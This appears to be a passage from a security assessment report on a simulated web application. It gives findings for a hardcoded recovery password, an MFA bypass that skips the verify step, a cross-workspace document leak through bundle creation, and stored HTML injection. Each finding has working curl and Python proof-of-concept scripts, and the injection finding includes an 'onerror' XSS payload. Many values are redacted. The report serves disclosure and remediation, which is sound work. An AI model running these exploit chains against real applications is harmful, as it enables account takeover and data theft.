len=48 charset=hex uniq_chars=16 shannon=3.79 bits/char
len=48 charset=hex uniq_chars=15 shannon=3.77 bits/char
```

TECHNICAL EVIDENCE / CONTINUED

```
len=48 charset=hex uniq_chars=15 shannon=3.71 bits/char
all distinct: True
common prefix len: 0
```

PoC

The reproduction steps are the PoC; the script below mirrors the executed-live test (one recovery completion per session; credential state is attempt-scoped, so it is self-reversing):

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# PoC — predictable recovered credential on the XXXXXX app (account alex).
# Mirrors the executed-live verification (attempt XXXXXX).
BASE="XXXXXX"
JAR=$(mktemp); USER=alex; DEFAULT_PW='New-Synthetic-Password-2026!'

# 1) anonymous session + session-bound CSRF token (hidden field on every form)
curl -s -c "$JAR" -b "$JAR" "$BASE/account" -o XXXXXX
CSRF=$(grep -o 'name=_csrf value="[^"]*"' XXXXXX | head -1 | sed 's/.*value="XXXXXX;s/"$XXXXXX')

# 2) request a recovery link (delivered to the simulation mailbox)
curl -s -c "$JAR" -b "$JAR" "$BASE/api/recovery/start" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "user=$USER"

# 3) pull the token from the mailbox link
curl -s -c "$JAR" -b "$JAR" "$BASE/mailbox" -o XXXXXX
LINK=$(grep -o 'href="[^"]*account/recover?[^"]*"' XXXXXX | head -1 | sed 's/href="XXXXXX;s/"$XXXXXX')
T=$(printf '%s' "$LINK" | sed 's/.*token=XXXXXX;s/&.*XXXXXX'); echo "token=XXXXXX

# 4) the page pre-fills BOTH password fields with the public constant
curl -s -c "$JAR" -b "$JAR" "$BASE/account/recover?token=XXXXXX \
  | grep -o 'name="password" value="[^"]*"'

# 5) complete recovery accepting the suggested default UNCHANGED (single submission)
curl -s -c "$JAR" -b "$JAR" "$BASE/api/recovery/complete" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "token=XXXXXX \
  --data-urlencode "user=$USER" --data-urlencode "password=XXXXXX   # -> {"updated":true,"user":"alex"}

# 6) consume the predicted credential on both sign-in paths
curl -s -c "$JAR" -b "$JAR" "$BASE/api/recovery/signin" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "user=$USER" --data-urlencode "password=XXXXXX   # ->
{"signed_in_as":"alex",...}
curl -s -c "$JAR" -b "$JAR" "$BASE/api/security/login" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "user=$USER" --data-urlencode "password=XXXXXX   # -> 200
mfa_required/transaction

# 7) positive control: the OLD password must now fail
curl -s -c "$JAR" -b "$JAR" "$BASE/api/security/login" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "user=$USER" --data-urlencode "password=XXXXXX   # -> 403
```

Root cause analysis

- **Hardcoded default credential (CWE-1391):** the server-side template renders a static literal, `New-Synthetic-Password-2026!`, into the `value=` attribute of the "New password" input. It is a global constant — identical across users, attempts and runs (fact 664 vs. this attempt) — not a per-request random suggestion.
- **Missing server-side password policy (CWE-521, OWASP A07):** `POST XXXXXX` accepts any value, including the publicly published default, with no minimum-entropy/policy check and no rejection of known quoted defaults. The zero-effort path therefore yields a publicly known credential.
- **Self-advertising exposure:** the same constant is pre-filled into the sign-in checker form on the same public page, and both `XXXXXX` and `XXXXXX` honor it, so the predictable value is fully consumable on the real sign-in chain. The inputs are plain text inputs with `value=` attributes (not empty `type=password` fields), so the credential is visible in HTML source even to a bystander.
- **Not part of the root cause** (verified sound): recovery-token generation (48-hex, ≈3.8 bits/char, distinct — fact 674), token single-use/user binding (fact 657), and old-credential invalidation after completion (403 control).

Remediation

1. **Remove the hardcoded literal from the template.** Render the new-password input empty, `type="password"`, `autocomplete="new-password"`, with no `value=` attribute; do the same for the sign-in checker form.
2. **Enforce a server-side password policy** at `XXXXXX` (minimum length, character-class/entropy requirements) and explicitly reject known previously published constants/defaults.
3. If a suggestion feature is kept, generate a **per-request, per-account random suggestion** server-side and deliver it once through the recovery delivery channel — never a global constant embedded in a shared public page.
4. **Rate-limit authentication attempts** per account on both `XXXXXX` and `XXXXXX` as defense-in-depth against predictable-credential guessing.
5. **Sweep and reset:** force a new recovery for any account whose stored password equals the now-public constant `New-Synthetic-Password-2026!`, and retire the constant from demo fixtures.
6. **Regression test:** assert that the recovery-page HTML never contains a `value=` attribute on password inputs and that the documented default is rejected as a new password.

Related but distinct: finding 113 (node 676, same intent 672) — MFA/step-up bypass where `XXXXXX` is never enforced before `XXXXXX`; different root cause (dead second factor vs. hardcoded default password) and different artifact (transaction vs. recovery token). The two compound: a predicted credential plus the verify bypass reaches the protected vault with no secret and no second factor.

TECHNICAL FINDING / F-012

MEDIUM

MFA/step-up verification never enforced: protected vault reachable by skipping the verify step entirely

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#12	Pending	XXXXXX

MFA/Step-Up Verification Never Enforced — Protected Vault Reachable by Skipping the Verify Step (XXXXXX Security Sign-In Flow)

Overview

The XXXXXX application's security sign-in flow (`XXXXXX` → `verify` → `finish` → `vault`) presents `POST XXXXXX` — an MFA-style "additional verification" code gate — as part of reaching the protected device-inventory vault, but **no server-side check anywhere in the chain requires verify to have completed**. After a valid first-factor login, `POST XXXXXX` succeeds with only `{_csrf, transaction}` while verify is skipped entirely, and `GET XXXXXX<tx>` then returns the protected vault content. The verify step is a dead branch whose state nothing consumes (CWE-308/CWE-304, OWASP A07).

Impact

An attacker holding valid first-factor credentials (phished, reused, or leaked — in this simulation the demo credentials are printed on the login form itself) obtains the protected resource while bypassing the second factor entirely, on the first attempt, deterministically. The second factor is worse than weak — it is **non-functional by construction**: the verification code is never delivered to any observable channel (the simulation mailbox contains only recovery messages, and the mailbox itself states "This mailbox never sends email"), so even a legitimate user cannot complete verify. Any resource gated behind this step-up flow is de facto protected by the password alone.

Worst-case consequence in a real deployment: full defeat of MFA on the protected surface → unauthorized access to protected inventory/asset data, silent because the flow logs every step as legitimately "finished".

Severity: medium — justified because exploitation requires valid first-factor credentials (no anonymous path: anonymous vault is 403, verified), but the bypass itself is deterministic (succeeded on the first attempt) and the second factor provides zero protection.

Measured impact

Executed live, end-to-end (attempt `XXXXXX`, work intent 672):

- **Bypass: 1 of 1 runs succeeded on the first attempt** — login → finish (verify skipped) → vault returned `200` with receipt `PROOF{XXXXXX}`, user `alex`, vault "Synthetic protected device inventory".

- **Verify probes: 2 of 2 rejected** (`transaction`-only and dummy `code=000000`, both `403 "Verification code did not match."`) — the code gate itself enforces a code, but the bypass never needs to pass it.
- **Code delivery channel: 0 verification-code messages** found across 2 full mailbox sweeps (before and after the entire flow); the mailbox contains only recovery messages — the MFA code has no observable delivery channel, so legitimate completion of verify is impossible.
- **6 of 6 surrounding controls behaved correctly** (anonymous vault 403; vault after login-only 403; finish without transaction 403; vault without tx param after finish 403; vault from a fresh session with the same transaction 403; GET on finish/verify 405) — proving the gap is precisely the missing verify-state check, not a wholesale authentication failure.

The vault content itself is synthetic simulation data; the measured result is deterministic defeat of the application's own second-factor control on that protected resource.

Affected scope

- **Application**: XXXXXX at `XXXXXX` (attempt `XXXXXX`); the step-up flow linked from `XXXXXX` ("Additional verification" section).
- **Endpoints** (all under the XXXXXX base path):
- `POST XXXXXX` — body `_csrf, user, password` → issues `mfa_required:true` + `transaction`
- `POST XXXXXX` — body `_csrf, transaction[, code]` — the dead branch
- `POST XXXXXX` — body `_csrf, transaction` — **flawed transition: does not require verify**
- `GET XXXXXX` — query `transaction` — the under-protected resource
- **Not affected**: account-recovery chain (`XXXXXX`, separately reported under fact 657/674 — different endpoints, artifact, and boundary), analytics JWT (`XXXXXX`, finding 101), purchase approval flow (finding 108). No duplicate findings.

Reproduction steps

All requests below use one cookie jar and a per-attempt CSRF token. `BASE` = the XXXXXX URL above.

1. **Start a session and obtain the CSRF token**: `GET XXXXXX` (or the login page) with a fresh cookie jar. The token is in an input written unquoted (`name=_csrf`), e.g. `XXXXXX`. The app-provided demo credentials `alex` XXXXXX `XXXXXX` are pre-filled on the login form.
2. **First-factor login**: `POST XXXXXX` with `_csrf, user=alex, password=XXXXXX` → `200` with `mfa_required:true` and a per-attempt `transaction` (e.g. `XXXXXX`) plus links` to verify/finish/vault.
3. **(Optional — demonstrates the dead branch)** `POST XXXXXX` with `_csrf, transaction` → `403 "Verification code did not match."`; repeat with `code=000000` → `403` same message. Sweep `GET XXXXXX` before and after: only recovery messages, never a verification code — verify can never be legitimately completed.
4. **The bypass**: `POST XXXXXX` with `_csrf, transaction=<tx>` **without ever completing verify** → `200 {"finished":true,"vault":".XXXXXX<tx>"}`.
5. **Collect the protected resource**: `GET XXXXXX<tx>` → `200` with `receipt`, `user:"alex"`, and the vault content.

Negative controls (each correctly refused, confirming the gap is only the missing verify check): anonymous vault → `403`; vault after login-only (no tx param) → `403 "Complete the security sign-in before continuing."`; finish without `transaction` → `403 "Unknown sign-in transaction."`; vault without tx param after finish → `403`; fresh session with the original transaction → `403` (transaction is session-bound); `GET` on

finish/verify → `405 "Use the action form."`.

Evidence

Executed-live command output, recorded in work intent 672 (trace steps 17944–18124). No HTTP traffic was bound to this finding (automatic binding disabled; `traffic_count: 0`) — all evidence below is verbatim command output from the executed curl runs.

Step 2 — login (mfa_required + transaction issued):

TECHNICAL EVIDENCE

```
{
  "links": {
    "finish": ".XXXXXX",
    "vault":  ".XXXXXX",
    "verify": ".XXXXXX"
  },
  "mfa_required": true,
  "transaction": "XXXXXX"
}
```

Step 3 — verify is code-gated but never completable (2/2 probes 403; no code ever delivered):

TECHNICAL EVIDENCE

```
== (j) verify shape: transaction only, no code ==
403 {"message": "Verification code did not match.", "ok": false}
== (k) verify with dummy code ==
403 {"message": "Verification code did not match.", "ok": false}
```

Mailbox sweep (before and after the full flow): only "recovery messages"; page states "Only messages for your test-owned Alex account appear here. This mailbox never sends email." — **zero verification-code messages**.

Steps 4–5 — the bypass (verify skipped):

TECHNICAL EVIDENCE

```
== (f) POST finish with transaction, verify skipped ==
200 {"finished": true, "vault": ".XXXXXX"}
== (h) vault WITH transaction param (verify still skipped) ==
200 {"receipt": "PROOF{XXXXXX}", "user": "alex", "vault": "Synthetic protected device inventory"}
```

Negative controls (all correctly enforced):

TECHNICAL EVIDENCE

```
== (a) vault baseline after login, before verify/finish ==
403 {"message": "Complete the security sign-in before continuing.", "ok": false}
== (d) POST finish WITHOUT transaction ==
403 {"message": "Unknown sign-in transaction.", "ok": false}
== (g) vault after finish-with-tx, no tx param ==
403 {"message": "Complete the security sign-in before continuing.", "ok": false}
== (i) fresh session jarB: vault with jarA's transaction ==
```

TECHNICAL EVIDENCE / CONTINUED

```
403 {"message": "Complete the security sign-in before continuing.", "ok": false}
== (b)XXXXXX) GET verify XXXXXX GET finish ==
405 {"message": "Use the action form.", "ok": false}
```

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# MFA step-up bypass — XXXXXX security sign-in flow (verify skipped entirely)
BASE="XXXXXX"
JAR=$(mktemp)

# 1. Fresh session + CSRF token (input written unquoted: name=_csrf)
CSRF=$(curl -s -c "$JAR" "$BASE/account" | grep -oP '_csrf[^>]*value=.?\K[0-9a-f]{40,}' | head -1)

# 2. First-factor login (app-provided demo credentials) -> mfa_required + transaction
LOGIN=$(curl -s -b "$JAR" -c "$JAR" -X POST "$BASE/api/security/login" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "user=alex" \
  --data-urlencode "password=XXXXXX
echo "$LOGIN"; TX=$(echo "$LOGIN" | grep -oP '"transaction":\s*"\K[0-9a-f]+')

# 3. (Optional) verify is a dead branch: both probes 403, no code is ever delivered to XXXXXX
curl -s -b "$JAR" -X POST "$BASE/api/security/verify" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "transaction=$TX"; echo
curl -s -b "$JAR" -X POST "$BASE/api/security/verify" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "transaction=$TX" \
  --data-urlencode "code=000000"; echo

# 4. BYPASS: finish without ever completing verify
curl -s -b "$JAR" -X POST "$BASE/api/security/finish" \
  --data-urlencode "_csrf=$CSRF" --data-urlencode "transaction=$TX"; echo

# 5. Protected vault content
curl -s -b "$JAR" "$BASE/api/security/vault?transaction=$TX"; echo
```

Run as-is with `bash XXXXXX` (one run = one bypass; `transaction` is per-attempt and session-bound, so reuse the same cookie jar throughout). The reproduction steps above are the PoC when scripting is not available.

Root cause analysis

The sign-in flow was implemented as three independent endpoints over a shared `transaction` record, with an **incomplete state machine**:

- `finish` transitions the transaction to `finished` and gates only on: valid CSRF, valid session, and a known transaction belonging to that session. It **never consults the transaction's verify/verified sub-state**.
- `vault` gates on: finished state + session-bound `transaction` match — again without requiring verified state.
- `verify` validates the code (its gate works: absent/dummy code → 403) and would set verified state, but **no consumer of that state exists** — it is a dead branch.

Aggravating factor: the verification code has no delivery channel whatsoever (the mailbox never emits one), indicating the second factor was scaffolded but never finished — consistent with the "simulate the UX, skip the enforcement" pattern that also produced the approval-bypass (finding 108) in this application.

Remediation

1. **Enforce the prerequisite (primary fix)**: in `POST XXXXXX`, reject any transaction whose `verify_state != "verified"` with `403 {"message":"Complete verification before finishing."}`. Symmetrically, have `GET XXXXXX` require the verified flag, not merely the finished flag — one server-side check closes the whole gap.
2. **Make verify completable or remove it**: implement real code delivery (the current code has no channel — even legitimate users fail), or pin a documented test code server-side, or delete the verify step from the flow and UI. A second factor that no one can pass is not a control.
3. **Add a regression test**: integration test asserting `login → finish (no verify) → vault` yields 403, and that only `login → verify(valid code) → finish → vault` yields 200.
4. **Harden the transaction artifact**: short TTL, single-use, and server-side issuance of the vault link only after verified+finished (avoid the client-reconstructable `?transaction=` parameter as the sole proof; it is correctly session-bound today, but binding it to verified state too is cheap).
5. **Rate-limit and audit**: rate-limit `verify` attempts per transaction, and log finished-without-verified transitions as anomalies — in the current build every bypass would be invisible because the flow looks entirely legitimate.

TECHNICAL FINDING / F-016

MEDIUM

Bundle creation accepts cross-workspace restricted document; download leaks its content

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#16	Pending	XXXXXX

Overview

`POST XXXXXX` on the XXXXXX application (`XXXXXX`) validates that the submitted `project` belongs to the caller's workspace, but performs no check that the submitted `documents` IDs belong to that project's workspace. A member of workspace alpha can therefore wrap beta's restricted document `DOC-4102` into an alpha-project bundle and download its full content as a ZIP — violating the application's own stated bundle policy, "A bundle may include documents from its project's workspace only."

Relation to existing findings (duplicate check)

Finding **103** (node 647, work intent 638) already reports the same root cause on the same endpoint and parameter — `POST XXXXXX` accepting a `documents` list without workspace/ownership validation — demonstrated with a mixed bundle (`documents=DOC-4101,DOC-4102`, PROOF`{XXXXXX}`, bundle `XXXXXX`). This record (finding 109 XXXXXX node 660, intent 637) is an independent re-verification of the same defect from the input-screening work stream, adding a minimal single-document case, the app's own policy statement, and project-allowlist negative controls. Both records describe **one vulnerability**; triage should consolidate them, with the evidence below as the canonical reproduction.

Impact

- **Cross-workspace read of restricted documents.** Any session holder can read the full content of documents flagged `access:"restricted"` in a foreign workspace by wrapping them in a bundle of their own project. In this application no login is required — every visitor is issued an anonymous member session (synthetic identity "Alex Morgan", workspace alpha) — so the only attacker prerequisite is visiting the site.
- **Trivial target selection.** Document IDs follow a stable `DOC-4xxx` pattern, and `GET XXXXXX` lists cross-workspace metadata (id XXXXXX title XXXXXX workspace XXXXXX access, e.g. `DOC-4102` = "Partner settlement", workspace beta, restricted) to every session, so an attacker can enumerate exactly which foreign documents are worth exfiltrating before pulling their content.
- **Severity: medium.** Read-only information disclosure of business-confidential material across the workspace/tenancy boundary. No write access, no code execution; impact is bounded by the set of documents reachable by ID — but that set is enumerated for the attacker by the catalog.

Measured impact

Basis: **executed live**, anonymous session, XXXXXX (worker trace intent 637, steps 17659–17683). - Cross-workspace bundle creation: **1 of 1 attempts succeeded on the first try** — `project=PRJ-1001` (alpha) + `documents=DOC-4102` (beta) → `200 {"id":"XXXXXX","state":"ready",...}`, no rejection. - Content leak: **1 of 1 downloads returned the restricted document** — the ZIP contained exactly one entry, `XXXXXX`, whose full decoded content is `Restricted settlement. Workspace beta. PROOF{XXXXXX}`. - What the defense blocked (same-session negative controls): - **4 of 4** malformed/foreign `project` values rejected with `403 "Project is not in your workspace."` (`PRJ-1001'`, empty, CRLF-suffixed `PRJ-1001\r\nX-I:1`, 6000-char `P...`); - **1 of 1** over-limit document list (200 comma-joined IDs) rejected with `400 "Select up to four documents."`; - benign control bundle (`PRJ-1001` + `DOC-4101`, bundle `XXXXXX`) returned a ZIP with exactly one entry, `XXXXXX`. In short: the project allowlist and the document-count limit are both enforced; the document→workspace binding is the single unchecked input on this endpoint. - Not measured: enumeration of foreign document IDs beyond `DOC-4102` (kept within the bounded-probe budget; the mechanism is identical for any ID, as the mixed-bundle case in finding 103 corroborates with a second independent PROOF marker).

Affected scope

- **Asset:** XXXXXX application at `XXXXXX` (asset 1578). No traffic bindings are attached to this record (automatic binding off); all evidence is from live probes recorded in the worker trace.
- **Producer:** `POST XXXXXX` — form fields `_csrf` (session-bound token), `project`, `documents` (comma-separated IDs, up to 4).
- **Consumer:** `GET XXXXXX}XXXXXX` — returns `application/zip`, `Content-Disposition: attachment; filename="XXXXXX"`.
- **Vulnerable input:** the `documents` field — no workspace, ownership, or `access:"restricted"` check on any listed ID. Demonstrated with `DOC-4102` (workspace beta, restricted, "Partner settlement"); the mechanism applies to any document ID across workspaces. Downloads are read-only.

Reproduction steps

1. Open the XXXXXX base URL with a cookie jar; the app issues an anonymous member session (workspace alpha) and a session-bound CSRF token (hidden `_csrf` field in page forms, e.g. on `XXXXXX`).
2. `GET XXXXXX` — note the stated policy ("A bundle may include documents from its project's workspace only.") and the metadata of `DOC-4102`: `{"access":"restricted","id":"DOC-4102","title":"Partner settlement","workspace":"beta"}`.
3. `POST XXXXXX` (form-encoded): `_csrf=<session token>`, `project=PRJ-1001`, `documents=DOC-4102`. Response is `200 {"id":"XXXXXX","state":"ready","download":".XXXXXX"}` — a beta document accepted into an alpha bundle with no rejection.
4. `GET XXXXXX` → `200 application/zip`, `XXXXXX`.
5. Unzip: the archive contains exactly one entry, `XXXXXX`, with content `Restricted settlement. Workspace beta. PROOF{XXXXXX}` — the restricted beta document's full content.
6. Control (optional): repeat with `documents=DOC-4101` → ZIP contains only `XXXXXX`; repeat with `project=PRJ-1001'` (or empty/CRLF/6000-char) → `403 "Project is not in your workspace."`; with >4 document IDs → `400 "Select up to four documents."`.

Evidence

Probe transcript (intent 637, step 17660 — creation):

TECHNICAL EVIDENCE

```
[BUNDLE] POST XXXXXX [sqli-project]  :: 403 :: {"message": "Project is not in your workspace.", "ok": false}
[BUNDLE] POST XXXXXX [cross-ws-doc]  :: 200 :: {"download": ".XXXXXX",
        "id": "XXXXXX", "state": "ready"}            # project=PRJ-1001, documents=DOC-4102
[BUNDLE] POST XXXXXX [empty]         :: 403 :: {"message": "Project is not in your workspace.", ...}
[BUNDLE] POST XXXXXX [crlf]          :: 403 :: {"message": "Project is not in your workspace.", ...}
[BUNDLE] POST XXXXXX [huge]          :: 403 :: {"message": "Project is not in your workspace.", ...}
[BUNDLE] POST XXXXXX [many-docs]     :: 400 :: {"message": "Select up to four documents.", ...}
[BUNDLE] POST XXXXXX [ACCEPT benign] :: 200 :: {"id": "XXXXXX", "state": "ready", ...}
```

Download (step 17668):

TECHNICAL EVIDENCE

```
[BDL] GET XXXXXX [cross-ws bundle] :: 200
      ct=application/zip cd=attachment; filename="XXXXXX"   (ZIP starts PK\x03\x04, entry XXXXXX)
[BDL] GET XXXXXX [benign bundle]     :: 200  (entry XXXXXX only)
```

ZIP extraction (step 17676):

TECHNICAL EVIDENCE

```
zip entries: ['XXXXXX']
--- XXXXXX ---
Restricted settlement. Workspace beta. PROOF{XXXXXX}
```

Stated policy and target metadata (from `GET XXXXXX`): "A bundle may include documents from its project's workspace only."; `DOC-4102` = `{"access":"restricted","id":"DOC-4102","title":"Partner settlement","workspace":"beta"}`; session project `PRJ-1001` is workspace alpha.

PoC

The reproduction steps above are the PoC; the following standalone script re-runs the full chain (verified logic, faithful to the live run):

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""Cross-workspace document leak via POST XXXXXX (XXXXXX app).
Anonymous member session; verified live XXXXXX."""
import re, io, zipfile, requests

BASE = "XXXXXX"

s = XXXXXX()
XXXXXX(BASE + "XXXXXX", timeout=15)                    # 1) anonymous member session (workspace alpha)
page = XXXXXX(BASE + "XXXXXX", timeout=15).text
csrf = (XXXXXX(r'name=["\']_csrf["\'][^>]*value=["\']([^"\']+)', page)
        or XXXXXX(r'value=["\']([^"\']+)["\'][^>]*name=["\']_csrf', page)).group(1)
```

TECHNICAL EVIDENCE / CONTINUED

```
# 2) create the bundle: alpha project + beta's restricted document
r = XXXXXX(BASE + "XXXXXX",
           data={"_csrf": csrf, "project": "PRJ-1001", "documents": "DOC-4102"}, timeout=15)
print("create:", r.status_code, XXXXXX())                  # 200 {"id": "...", "state": "ready", ...}

# 3) download and unzip
zip_bytes = XXXXXX(BASE + XXXXXX()["download"], timeout=15).content
z = XXXXXX(XXXXXX(zip_bytes))
print("entries:", XXXXXX())                             # ['XXXXXX']
for n in XXXXXX():
    print(XXXXXX(n).decode())                               # Restricted settlement. Workspace beta.
PROOF{...}
```

Equivalent curl flow: maintain one cookie jar, scrape `_csrf` from a page form, then `curl -b jar -d "_csrf=...&project=PRJ-1001&documents=DOC-4102" "$BASE/api/bundles"` and `curl -b jar -o XXXXXX "$BASE/api/bundles/<id>XXXXXX"`.

Root cause analysis

Missing object-level authorization on a nested collection input (OWASP API1 XXXXXX CWE-639). The endpoint authorizes the *container* — `project` is checked against the session workspace allowlist (hence the consistent 403s) — and validates *cardinality* (max four documents, 400), but the *items* in `documents` are passed straight to the bundle assembler without resolving each document and comparing its workspace (and its `access:"restricted"` flag) against the project's workspace. The intended invariant is documented by the application itself in `GET XXXXXX`, yet not implemented on this path. A secondary weakness compounds it: the download stage re-derives ZIP content purely from the stored ID list, so there is no compensating check downstream — once a cross-workspace ID is stored, the leak is unavoidable. Trivial target selection is enabled by the catalog listing foreign document metadata to every session.

Remediation

1. **Validate at bundle creation (primary fix):** in `POST XXXXXX`, resolve every ID in `documents` and reject the whole request with 403 unless `XXXXXX == XXXXXX` for all of them; additionally enforce whatever rule `access:"restricted"` is meant to express (the catalog already declares it).
2. **Re-validate at assembly/download (defense in depth):** when building the ZIP, filter entries by the session/project workspace instead of trusting the stored ID list, so already-stored or future bypassed bundles cannot leak.
3. **Prefer allowlist semantics:** accept only document IDs that belong to the submitted project's own document set (derivable from the document catalog), rather than arbitrary IDs.
4. **Regression tests:** alpha project + beta document → expect 403; assert every bundle's ZIP contents ⊆ the project's workspace documents; use the mixed-bundle vector from finding 103 as a second test case.
5. **Centralize authorization:XXXXXX implement one `can_access_document(session, doc)` helper used by every surface that exposes document content (bundle assembly, direct download, report/export paths), so sibling endpoints cannot drift into the same gap.

TECHNICAL FINDING / F-019

MEDIUM

Stored HTML injection in review messages rendered unescaped on XXXXXX (XSS execution unverified)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#19	Pending	XXXXXX

Overview

Review messages submitted through the public feedback form (`POST XXXXXX`) are stored and later re-rendered on `GET XXXXXX` without any HTML encoding: a message containing `<img src=x onerror=window.__i637=1>` comes back from the server as live HTML markup inside `<article class=review><div>...<XXXXXX><XXXXXX>`. Verified by raw-response inspection on XXXXXX (anonymous session); actual browser-side script execution was **not** demonstrated because no real browser was available in the test runtime.

Impact

Any user of the workspace who can reach the "Leave feedback" form can persist arbitrary HTML that is served back verbatim to every render of `XXXXXX` for that workspace. The payload survives across requests (stored, not reflected), so the injection point and the execution point are decoupled — a classic stored-XSS sink under `CWE-79` XXXXXX `CWE-80`.

Because the browser step could not be executed, impact is assessed from the observed CSP rather than a live payload run:

- **What the CSP permits**: `script-src 'unsafe-inline'` with `sandbox allow-scripts` means inline event handlers such as `onerror` are *not* blocked — script execution is a high-confidence indication, not a verified exploit.
- **What the CSP mitigates**: the `sandbox` directive (no `allow-same-origin`) runs the document in an opaque origin, so injected JS cannot read the app's cookies/localStorage; `connect-src 'none'` and `img-src data:` block fetch/XHR and external beacons; `form-action` restricts form posts to the XXXXXX origin. This materially reduces the worst case — classic session-cookie theft via JS is largely off the table.
- **Residual plausible impact (unverified)**: in-page content spoofing/phishing under the trusted app UI, UI redressing, DOM manipulation, and in-page keylogging via inline event handlers; a same-page script could also read the `_csrf` token present in the `XXXXXX` DOM and craft same-origin form posts (theoretical, unverified).

Severity: medium — verified unescaped stored HTML injection on an anonymously reachable page, but execution unverified and the CSP substantially limits post-exploitation.

Measured impact

- **2 of 2** accepted stored-message submissions persisted and rendered **unescaped** (100% of accepted submissions in the test; 1 marker submission + 1 empty-author control).
- **1 of 1** HTML payload variants tested (`<img src=x onerror=window.__i637=1>`, plus `<b>bold<XXXXXX>`) was returned verbatim in the HTML body; double-quote attribute values also passed through raw, indicating neither element nor attribute encoding.
- Input bounds measured: 6000-character message → `400 {"message": "Check the message length.", "ok": false}`; empty author accepted (`200`, renders `<strong><XXXXXX>`).
- Browser-confirmed executions: **0** — no browser was available; execution is inferred from markup escaping analysis + CSP, explicitly marked unverified.
- Visibility: both test reviews were served back only within the same attempt workspace; whether reviews are shared across attempts/users was **not measured** (single-session testing). The seeded review ("The autumn workspace is ready.") renders for every fresh attempt, so the render path itself is universal.
- Contrast (positive control in the same app): an equivalent XSS marker submitted via `POST XXXXXX` (display_name) **was** properly escaped on re-render on `XXXXXX` — the escaping gap is specific to the review-render path, not a global template flaw.

Affected scope

- **App**: XXXXXX at `XXXXXX` (asset 1588).
- **Sink**: `GET XXXXXX`, review list block — `<article class=review><strong>{author}<XXXXXX><div>{message}<XXXXXX><XXXXXX>`.
- **Source**: `POST XXXXXX`, form field `message` (verified unescaped); field `author` renders into the `<strong>` context but its escaping was **unverified** (only plain and empty values tested). No separate JSON listing endpoint exists (`GET XXXXXX` → 405 "Use the action form.").
- **Prerequisites**: a fresh session (anonymous; the app issues a synthetic identity + per-session `_csrf` token on first page load). No authentication required.
- **Bound**: message length is server-enforced (~2.5–6 KB ceiling observed; 6000 chars rejected with 400).

Reproduction steps

1. `GET XXXXXX` with a cookie jar; extract the hidden `_csrf` value from the feedback form and keep the session cookie.
2. `POST XXXXXX` (`application/x-www-form-urlencoded`) with `_csrf=<token>`, `author=Alex Morgan`, and a message containing markup, e.g. `i637-marker <b>bold<XXXXXX> <img src=x onerror=window.__i637=1>` → returns `200`.
3. `GET XXXXXX` again and inspect the raw HTML: inside `<article class=review><div>...<XXXXXX><XXXXXX>` the marker appears **verbatim** — `<img src=x onerror=window.__i637=1>` is present as a literal tag (not `<img ...`), i.e. live markup in the DOM.
4. Optional browser confirmation (not performed in this run): open `XXXXXX` in a browser with devtools and check `window.__i637 === 1` after the review list renders (the `onerror` handler of the injected `<img src=x>` fires because the image source fails to load).

Evidence

1. Submission accepted (probe log, step 17498):

TECHNICAL EVIDENCE

```
[REVIEWS] POST XXXXXX [marker submit] :: 200 :: <!doctype html>...
[REVIEWS] POST XXXXXX [empty-author]  :: 200 :: <!doctype html>...
[REVIEWS] POST XXXXXX [huge-6k]       :: 400 :: {   "message": "Check the message length.",   "ok": false }
```

2. Unescaped render on `GET XXXXXX` (probe log line 165, context excerpt around the marker):

TECHNICAL EVIDENCE

```
...<article class=review><strong>...tions<XXXXXX><div>The autumn workspace is ready.<XXXXXX><XXXXXX>
<article class=review><strong>Alex Morgan<XXXXXX><div>i637-marker <b>bold<XXXXXX> <img src=x
onerror=window.__i637=1> "quotes" 'sq' =SUM(1+1) ;DROP--<XXXXXX><XXXXXX>
<article class=review><strong><XXXXXX><div>x<XXXXXX><XXXXXX>...
```

The submitted string was `i637-marker <b>bold<XXXXXX> <img src=x onerror=window.__i637=1> "quotes" 'sq' =SUM(1+1) ;DROP--` — identical to what the server emitted, byte for byte, including the raw tag and quoted attribute.

3. The form that stores the payload (`GET XXXXXX`, saved page HTML):

TECHNICAL EVIDENCE

```
<form method=post action="XXXXXX">
  <input type=hidden name=_csrf value="XXXXXX">
  <label>Your name<input name="author" value="Alex Morgan"><XXXXXX>
  <label>Message<textarea name="message"><XXXXXX><XXXXXX>
  <button type=submit>Publish feedback<XXXXXX>
<XXXXXX>
```

4. CSP observed on `XXXXXX` (saved response headers, i636 raw capture):

TECHNICAL EVIDENCE

```
Content-Security-Policy: sandbox allow-scripts allow-forms allow-modals allow-downloads; default-src 'none';
script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data:; connect-src 'none'; frame-src 'none';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action XXXXXX
```

5. No list endpoint: `GET XXXXXX` → `405 {"message": "Use the action form.", "ok": false}`.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# Stored HTML injection -> XXXXXX review list (XXXXXX app)
B="XXXXXX"
J=$(mktemp)

# 1) fresh anonymous session + CSRF token from the XXXXXX form
curl -s -c "$J" "$B/support" -o XXXXXX
CSRF=$(grep -o 'name=_csrf value="[^"]*"' XXXXXX | head -1 | sed 's/.*value="XXXXXX;s/"$XXXXXX')

# 2) store the payload (length is bounded; keep the message small)
```

TECHNICAL EVIDENCE / CONTINUED

```
curl -s -b "$J" -c "$J" -X POST "$B/api/reviews" \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode "author=Alex Morgan" \
  --data-urlencode 'message=i637-marker <b>bold<XXXXXX> <img src=x onerror=window.__i637=1>' \
  -o XXXXXX -w 'submit: %{http_code}\n'

# 3) render check — the payload must appear VERBATIM (unescaped) in the HTML
curl -s -b "$J" "$B/support" | grep -o '<article
class=review><strong>[^<]*<XXXXXX><div>[^<]*<img[^>]*>[^<]*<XXXXXX>'
```

